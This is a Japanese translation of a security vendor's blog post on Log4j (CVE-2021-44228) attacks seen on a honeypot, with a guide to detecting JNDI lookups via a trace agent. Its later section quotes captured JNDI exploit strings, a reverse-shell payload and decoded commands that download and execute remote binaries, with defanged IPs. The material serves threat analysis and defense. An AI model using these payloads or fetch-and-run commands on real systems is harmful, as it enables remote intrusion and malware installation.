脅威アラート:Log4j攻撃の追跡 #aqua #セキュリティ #脆弱性 #java #log4j
この記事は1年以上前に投稿されました。情報が古い可能性がありますので、ご注意ください。
本ブログは「Aqua Security」社の技術ブログで2021年12月17日に公開された「 Threat Alert: Tracking Real-World Log4j Attacks 」の日本語翻訳です。
脅威アラート:Log4j攻撃の追跡
Log4j は、多くの最新の Web アプリケーションのバックグラウンドで動作する数多くのコンポーネントであり、一般的な Java ロギングフレームワークの1つでした。しかし、ゼロデイ脆弱性(CVE-2021-44228)が公開されて以来、研究者が Log4j が任意のコードを実行される脆弱性があることが明らかにされ、セキュリティコミュニティに大きな衝撃を与えています。Aqua のセキュリティ研究チームである Team Nautilus は、この脆弱性を持つハニーポットを作成し、実際の攻撃者がどのように脆弱性を悪用するかを観察しました。
Log4jのCVE-2021-44228についてのまとめ
2021年12月9日、人気の高い Java 用ロギングフレームワーク Log4j のゼロデイ脆弱性が初めて公開されました。NIST はこの脆弱性(CVE-2021-44228)に、その重要度を10点満点中で10点を与えています。この脆弱性は、リモートでのコード実行が可能であり、容易に悪用できるため、すでに数十の PoC がオンラインで公開されており、また、この脆弱性が大規模に悪用されていることも多数報告されています。
主な調査結果
バックグラウンドで Aqua Platform を動作させた、CVE-2021-44228 に対して脆弱な環境を設置しました。その後数時間で、ハニーポットに対する様々な攻撃パターンをリアルタイムで検出しました。その中には、1~2回しか環境を攻撃してこないものもあれば、数分おきに繰り返し攻撃してくるものもあり、大規模なボットネットの活動が伺えます。実際、Log4j の脆弱性を悪用した最大規模のボットネットも確認されています。
Muhskit ボットネット、Mirai ボットネット、およびいくつかのタイプの リバースシェル 攻撃など、私たちのハニーポットに対するさまざまな種類の攻撃を確認できました。
図2に見られるように、既知のマルウェア、リモートリソースからダウンロードしたファイルをメモリから直接実行するファイルレスマルウェア、リバースシェル実行など、ハニーポット環境を悪用する悪意のある手法が複数検出されました。
Aqua Platform の Cloud Native Detection and Response(CNDR)を活用した注目すべき検知は、メモリに書き込まれた新たな実行ファイルです。図3に見られるように、CNDR は ELF pty3(Muhstik マルウェア)がメモリにロードされ、実行されたことを検出しました。
攻撃者は、エージェントレスソリューションや通常のアンチウィルスソフトウェア(AV)による検出を回避するために、このような手法を使用します。これらのソリューションは通常、ファイルシステムのコピーを抽出したり、VPC ログ(ネットワーク通信のメタデータ)を監視することで、既知の悪意のある脅威を検出します。しかし、今回のケースでは、Mushtik マルウェアはメモリに直接書き込まれ、ファイルシステムに触れることなく実行されました。したがって、メモリ内で実行されているプロセスを確認するとができないエージェントレスソリューションでは、このマルウェアを検出できません。
JNDI Lookup 機能をフックしたエクスプロイトの検出
JNDI(Java Naming and Directory Interface)は、Java ソフトウェアクライアントが名前を介してデータやリソースを発見し、検索できるようにするディレクトリサービスの Java API です。Log4j ライブラリが JNDI Lookup を開始するために使用する関数へフックを挿入することで、攻撃の試みを検出できます。
Trace Agent は、簡単なテキストファイルで設定可能な Java エージェントにより、リビルドなしで Java 関数をトレースできます。GitHub からダウンロードし、アプリケーションに追加できます。このプログラムには、エージェントの jar に追加する必要がある、actions.txt という設定ファイルがあります。これにより、Lookup 関数にフックするコードを追加できます。Log4j のアクティブな使用があると、渡された JNDI 攻撃コマンドの全体をキャプチャします。
アプリケーションを実行すると、action.txt がロードされたことを示す次のようなプリントが画面に表示されます。
JNDI 攻撃の試みがあると、トリガーとなったメッセージが検知されます。
この方法は、アプリケーションが Log4j を積極的に使用しているかどうかを確認するために使用できます。CVE-2021-44228 に対してアプリケーションを保護した後、この脆弱性への対処方法がリスクの軽減に役立ったかどうかを確認できます。
さらに、ハニーポットを構築できます。Lookup フックを再構築するために、以下のステップを踏むことができます。
- Trace-Agent の jar ファイルをダウンロードします。
wget https://github.com/attilapiros/trace-agent/releases/download/v.0.0.8/trace-agent-0.0.8.jar - Lookup フックを記述した actions.txt を作成します。
echo "trace_args org.apache.logging.log4j.core.lookup.JndiLookup lookup" > actions.txt - Trace-Agent jar の actions.txt ファイルを置き換えます。
jar uf trace-agent-1.0-SNAPSHOT.jar actions.txt - Lookup フックで脆弱なアプリを実行します。
java -javaagent:trace-agent-0.0.8.jar -jar spring-boot-application.jar
Log4jに対する攻撃の詳細な分析
Aqua では継続的に攻撃を監視しています。以下では、ハニーポットに対する注目すべき攻撃を紹介します。
Muhstikマルウェア
以下は攻撃者によって Log4j の脆弱性を悪用した流れです。
攻撃者は、リクエストヘッダに以下の文字列を埋め込んだ HTTPS リクエストを送信しました。
${jndi:ldap://45[.]83[.]193[.]150:1389/Exploit}
攻撃者がサーバに攻撃文字列を含む何かを記録させることに成功すると、JNDI Lookup が発動します。
攻撃者はそれを使って、次の Java クラスファイルをロードしました。
Windows で実行する場合は s.cmd を、Linux で実行する場合は特定のシェルファイルをダウンロードして実行するようなコードになっています。ここでは、Linux のペイロードを解析しました。
5つのバイナリと1つのシェルスクリプトがダウンロードされます。
pty1 (MD5: 9d647f2d1a9dd9a86ba18c42ff5da444)
pty2 (MD5: 6f3885eee3668bafbefefd2eb17f4105)
pty3 (MD5: ceb9a55eaa71101f86b14c6b296066c9)
pty4 (MD5: 3430139e131617957d8c6aa48002ddac)
pty5 (MD5: dcffb04aa4ccf54137c0ac921e181afd)
ldm (MD5: e6a6ca7b1aeed5f4cc1e43fd6384230e)
5つの pty ファイルは、Virus Total で Muhskit マルウェアとして分類されました。
リバースシェル攻撃 その1
HTTPS リクエストの user-agent ヘッダーに含まれる以下の文字列を迂回してリバースシェルを開こうとする試みがいくつか見受けられました。
${jndi:ldap://159[.]223[.]5[.]30:1389/a}
リバースシェル攻撃 その2
${jndi:ldap://167[.]99[.]32[.]139:1389/Basic/ReverseShell/167.99.32.139/9999}
リバースシェル攻撃 その3
${jndi:ldap://159[.]223[.]5[.]30:443/}
py Mirai
${jndi:ldap://135[.]148[.]143[.]217:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTUyLjY3LjYzLjE1MC9weTsgY2htb2QgNzc3IHB5OyAuL3B5IHJjZS54ODY=}
以下は、復号したコマンドです。
wget http://152[.]67[.]63[.]150/py; chmod 777 py; ./py rce.x86
以下は、Javaのクラスです。
ファイル py(MD5 abfffbc733c72fb32b07b9cc227069c1)がダウンロードされました。
${jndi:ldap://178[.]79[.]157[.]186:1389/Basic/Command/Base64/KGN1cmwgLXMgMTc4Ljc5LjE1Ny4xODYvP2N1cmx8fHdnZXQgMTc4Ljc5LjE1Ny4xODYvP3dnZXQpfGJhc2g=}
以下は、復号したコマンドです。
(curl -s 178[.]79[.]157[.]186/?curl||wget 178[.]79[.]157[.]186/?wget)|bash
Log4j の脆弱性についての詳細と、アプリケーションでこれを緩和する方法については、こちらのウェビナーで説明します。